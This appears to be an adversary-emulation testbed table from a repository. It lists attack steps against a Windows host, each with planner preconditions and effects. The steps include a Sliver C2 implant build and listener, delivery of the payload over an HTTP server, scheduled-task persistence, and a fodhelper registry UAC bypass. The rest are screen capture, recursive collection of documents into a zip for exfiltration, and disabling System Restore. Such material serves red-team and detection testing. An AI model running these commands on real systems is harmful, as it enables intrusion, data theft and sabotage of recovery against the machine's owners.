Skip to content

Latest commit

 

History

History
23 lines (23 loc) · 14.2 KB

File metadata and controls

23 lines (23 loc) · 14.2 KB

Testbed Information

Target Machine

  • Machine ID: host11
    • OS: windows
    • CVE: []

Attack Steps

uuid name id source supported_platforms tactics technique description execution arguments preconditions effects
0e67b73a-9927-43e1-8f64-04d38f1db57d Build the executable file of a Sliver implant (for Windows) ['T1071.001'] Manual ['windows'] ['Command and Control'] ['Application Layer Protocol - Web Protocols'] The command is used in the Sliver C2 (Command and Control) framework to generate a payload designed for remote access to a target machine.
{'executor': 'Sliver Console', 'command': 'sliver > generate --mtls #{LHOST}:#{LPORT} --os windows --arch 64bit --format exe --save #{SAVE_PATH}\nsliver > mtls --lport #{LPORT}\n'} {'LHOST': {'default': None, 'description': 'IP address of the attacker machine', 'type': None}, 'LPORT': {'default': None, 'description': 'listening port of the attacter machine', 'type': None}, 'SAVE_PATH': {'default': None, 'description': 'Saved path of the generated payload', 'type': None}} ['(os_windows ?target - host)', '(unallocated ?p - payload)', '(unallocated ?file - file)'] ['(sliver_implant_payload ?p - payload ?target - host)', '(file_payload ?p - payload ?file - file)', '(file_prepared_local ?file - file)', '(exe_file ?file - file)', '(unallocated ?p - payload)', '(unallocated ?file - file)']
19301991-c518-46ca-a622-378e1be4f1ad Simulate the victim download and execute malicious payload file as Admin (Root) ['T1204.002'] Manual ['windows'] ['Execution'] ['User Execution: Malicious File'] None {'executor': 'Human', 'command': "(This step needs human interaction and (temporarily) cannot be executed automatically)\n(On attacker's machine)\npython -m http.server\n\n(On victim's machine)\n1. Open #{LHOST}:#{LPORT} in the browser\n2. Navigate to the path of the target payload file\n3. Download the payload file\n4. Execute the payload file to #{PATH} as Admin (Root)\n"} {'HOST': {'default': None, 'description': 'IP address of the attacker machine', 'type': None}, 'LPORT': {'default': None, 'description': 'listening port of the attacter machine', 'type': None}, 'SAVE_PATH': {'default': None, 'description': 'Saved path of the downloaded payload', 'type': None}} ['(file_prepared_local ?file - file)', '(exe_file ?file - file)', '(unallocated ?path - path)'] ['(file_exists ?path - path ?file - file ?t - host)', '(file_executed ?file - file ?t - host)', '(file_executed_as_root ?f - file ?t - host)', '~(unallocated ?path - path)']
1f401bbe-de24-41d2-8e34-d026e25bfb94 Execute a Sliver Implant Payload ['T1071.001'] Sliver ['windows'] ['Command and Control'] ['Application Layer Protocol - Web Protocols'] Executing a Sliver implant payload will establish a Sliver session.
{'executor': 'None', 'command': 'None\n'} None ['(sliver_implant_payload ?p - payload ?t - host)', '(file_payload ?p - payload ?f - file)', '(file_executed ?f - file ?t - host)', '(unallocated ?s - executor)'] ['(sliver_session ?s - executor ?t - host)', '~(unallocated ?s - executor)', {'operator': 'When', 'params': {'condition': '(file_executed_as_root ?f - file ?t - host)', 'effect': '(elevated_executor ?s - executor)'}}]
2074d817-7819-401b-b552-1045672f77f3 Execute Command (cmd.exe) ['T1059.003'] Sliver ['windows'] ['Execution'] ['Command and Scripting Interpreter: Windows Command Shell\n'] The cmd.exe command executes a Windows command. It runs the specified command on the remote host and returns the result. This command is useful for performing various system tasks. {'executor': 'Sliver Executor', 'command': 'cmd(#{SessionID},#{Commands})'} {'SessionID': {'description': 'The session ID of the active Sliver connection.'}} ['(os_windows ?t - host)', '(sliver_session ?s1 - executor ?t - host)'] ['(command_prompt ?s2 - executor ?t - host)', {'operator': 'When', 'params': {'condition': '(elevated_executor ?s1 - executor)', 'effect': '(elevated_executor ?s2 - executor)'}}]
42f53695-ad4a-4546-abb6-7d837f644a71 Scheduled task Local ['T1053.005'] ART ['windows'] ['Execution', 'Persistence', 'Privilege Escalation'] ['Scheduled Task/Job: Scheduled Task'] Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10.
{'executor': 'Command Prompt Executor', 'command': 'SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}\n'} {'task_command': {'description': 'What you want to execute', 'type': 'string', 'default': 'C:\windows\system32\cmd.exe'}, 'time': {'description': 'What time 24 Hour', 'type': 'string', 'default': 1210}} ['(os_windows ?target - host)', '(command_prompt ?executor - executor ?target - host)', '(file_exists ?task_command - path ?file - file ?target - host)', '(exe_file ?file - file)'] ['(file_execution_at_time ?file - file ?target - host)']
f7f31777-1bbf-4ddc-b7a1-af9f46a5299b Obtain a persistent Sliver Executor [None] Manual ['windows', 'linux', 'macos'] ['Persistence'] [None] Obtain the persistency of Sliver Executor via scheduled payload file execution.
{'executor': 'None', 'command': 'None\n'} None ['(sliver_implant_payload ?p - payload ?target - host)', '(file_payload ?p - payload ?f - file)', {'operator': 'or', 'operands': ['(file_execution_at_time ?f - file ?target - host)', '(file_execution_at_startup ?f - file ?target - host)']}, '(unallocated ?s - executor)'] ['(persistent_sliver_session ?s - executor ?target - host)', '~(unallocated ?s - executor)']
7bfba376-cebc-4094-b1e6-5103b2e83c4e Execute PowerShell Command ['T1059.001'] Sliver ['windows'] ['Execution'] ['Command and Scripting Interpreter: PowerShell\n'] The powershell.exe command executes a PowerShell script or command on the remote host. This command is useful for performing system monitoring tasks or gathering information about the processes running on a remote machine. {'executor': 'Sliver Executor', 'command': 'powershell(#{SessionID},#{Commands})'} {'SessionID': {'description': 'The session ID of the active Sliver connection.'}} ['(os_windows ?t - host)', '(sliver_session ?s1 - executor ?t - host)'] ['(powershell ?s2 - executor ?t - host)', {'operator': 'When', 'params': {'condition': '(elevated_executor ?s1 - executor)', 'effect': '(elevated_executor ?s2 - executor)'}}]
2e8f1a9c-0b5e-4a7c-b6d4-9a8b2d3c5f1e Create Directory ['T1106'] Sliver ['windows', 'linux'] ['Persistence'] ['File System Permissions Modification'] The mkdir command creates a new directory on the target system. {'executor': 'Sliver Executor', 'command': 'mkdir (#{remote_path},#{SessionID})'} {'remote_path': {'description': 'Full path of the directory to create'}, 'SessionID': {'description': 'The session ID of the active Sliver connection.'}} [{'operator': 'or', 'operands': ['(os_windows ?target - host)', '(os_linux ?target - host)']}, '(sliver_session ?executorID - executor ?target - host)'] ['(dir_exists ?path - path ?dir - dir ?target - host)']
a57fbe4b-3440-452a-88a7-943531ac872a Zip a Folder with PowerShell for Staging in Temp ['T1074.001'] ART ['windows'] ['Collection'] ['Data Staged: Local Data Staging'] Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration. Upon execution, Verify that a zipped folder named Folder_to_zip.zip
was placed in the temp directory.
{'executor': 'Powershell Executor', 'command': 'Compress-Archive -Path "#{input_file}" -DestinationPath #{output_file} -Force\n'} {'output_file': {'description': 'Location to save zipped file or folder', 'type': 'path', 'default': None}, 'input_file': {'description': 'Location of file or folder to zip', 'type': 'path', 'default': None}} ['(os_windows ?target - host)', '(powershell ?executor - executor ?target - host)', '(dir_exists ?input_file - path ?dir - dir ?target - host)'] ['(dir_data_saved ?dir - dir ?file - file)', '(file_exists ?output_file - path ?file - file ?target - host)', '(zip_file ?file - file)']
e9313014-985a-48ef-80d9-cde604ffc187 Windows Screen Capture (CopyFromScreen) ['T1113'] ART ['windows'] ['Collection'] ['Screen Capture'] Take a screen capture of the desktop through a call to the [Graphics.CopyFromScreen] .NET API.

[Graphics.CopyFromScreen]: https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen
{'executor': 'Powershell Executor', 'command': 'Add-Type -AssemblyName System.Windows.Forms\n$screen = [Windows.Forms.SystemInformation]::VirtualScreen\n$bitmap = New-Object Drawing.Bitmap $screen.Width, $screen.Height\n$graphic = [Drawing.Graphics]::FromImage($bitmap)\n$graphic.CopyFromScreen($screen.Left, $screen.Top, 0, 0, $bitmap.Size)\n$bitmap.Save("#{output_file}")\n'} {'output_file': {'description': 'Path where captured results will be placed', 'type': 'path', 'default': '$env:TEMP\T1113.png'}} ['(os_windows ?target - host)', '(powershell ?executor - executor ?target - host)'] ['(screenshot_data_saved ?file - file ?target - host)', '(file_exists ?output_file - path ?file - file ?target - host)', '(png_file ?file - file)']
d3d9af44-b8ad-4375-8b0a-4bff4b7e419c Search files of interest and save them to a single zip file (Windows) ['T1005'] ART ['windows'] ['Collection'] ['Data from Local System'] This test searches for files of certain extensions and saves them to a single zip file prior to extraction.
{'executor': 'Powershell Executor', 'command': '$startingDirectory = "C:"\n$outputZip = "#{output_zip_folder_path}"\n$fileExtensionsString = ".doc, .docx, .txt" \n$fileExtensions = $fileExtensionsString -split ", "\n\nNew-Item -Type Directory $outputZip -ErrorAction Ignore -Force Out-Null\n\nFunction Search-Files {\n param (\n [string]$directory\n )\n $files = Get-ChildItem -Path $directory -File -Recurse Where-Object {\n $fileExtensions -contains $_.Extension.ToLower()\n }\n return $files\n}\n\n$foundFiles = Search-Files -directory $startingDirectory\nif ($foundFiles.Count -gt 0) {\n $foundFilePaths = $foundFiles.FullName\n Compress-Archive -Path $foundFilePaths -DestinationPath "$outputZip\data.zip"\n\n Write-Host "Zip file created: $outputZip\data.zip"\n } else {\n Write-Host "No files found with the specified extensions."\n }\n'} {'output_zip_folder_path': {'description': 'Path to directory for saving the generated zip file', 'type': 'Path', 'default': 'PathToAtomicsFolder\..\ExternalPayloads\T1005'}}
3f627297-6c38-4e7d-a278-fc2563eaaeaa Bypass UAC using Fodhelper - PowerShell ['T1548.002'] ART ['windows'] ['Defense Evasion', 'Privilege Escalation'] ['Abuse Elevation Control Mechanism: Bypass User Account Control'] PowerShell code to bypass User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10.
Upon execution command prompt will be opened.
{'executor': 'Powershell Executor', 'command': 'New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force\nNew-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force\nSet-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force\nStart-Process "C:\Windows\System32\fodhelper.exe"\n'} {'executable_binary': {'description': 'Binary to execute with UAC Bypass', 'type': 'path', 'default': 'C:\Windows\System32\cmd.exe'}} ['(os_windows ?target - host)', '(powershell ?executor - executor ?target - host)', '(file_exists ?executable_binary - path ?file - file ?target - host)', {'operator': 'or', 'operands': ['(exe_file ?file - file)']}] ['(file_executed_as_root ?file - file ?target - host)']
1f401bbe-de24-41d2-8e34-d026e25bfb94 Execute a Sliver Implant Payload ['T1071.001'] Sliver ['windows'] ['Command and Control'] ['Application Layer Protocol - Web Protocols'] Executing a Sliver implant payload will establish a Sliver session.
{'executor': 'None', 'command': 'None\n'} None ['(sliver_implant_payload ?p - payload ?t - host)', '(file_payload ?p - payload ?f - file)', '(file_executed ?f - file ?t - host)', '(unallocated ?s - executor)'] ['(sliver_session ?s - executor ?t - host)', '~(unallocated ?s - executor)', {'operator': 'When', 'params': {'condition': '(file_executed_as_root ?f - file ?t - host)', 'effect': '(elevated_executor ?s - executor)'}}]
2074d817-7819-401b-b552-1045672f77f3 Execute Command (cmd.exe) ['T1059.003'] Sliver ['windows'] ['Execution'] ['Command and Scripting Interpreter: Windows Command Shell\n'] The cmd.exe command executes a Windows command. It runs the specified command on the remote host and returns the result. This command is useful for performing various system tasks. {'executor': 'Sliver Executor', 'command': 'cmd(#{SessionID},#{Commands})'} {'SessionID': {'description': 'The session ID of the active Sliver connection.'}} ['(os_windows ?t - host)', '(sliver_session ?s1 - executor ?t - host)'] ['(command_prompt ?s2 - executor ?t - host)', {'operator': 'When', 'params': {'condition': '(elevated_executor ?s1 - executor)', 'effect': '(elevated_executor ?s2 - executor)'}}]
1c68c68d-83a4-4981-974e-8993055fa034 Windows - Disable the SR scheduled task ['T1490'] ART ['windows'] ['Impact'] ['Inhibit System Recovery'] Use schtasks.exe to disable the System Restore (SR) scheduled task
{'executor': 'Elevated Command Prompt Executor', 'command': 'schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable\n'} None ['(command_prompt ?executor - executor ?target - host)', '(elevated_executor ?executor - executor)', '(os_windows ?target - host)'] ['(system_restore_disabled ?target - host)']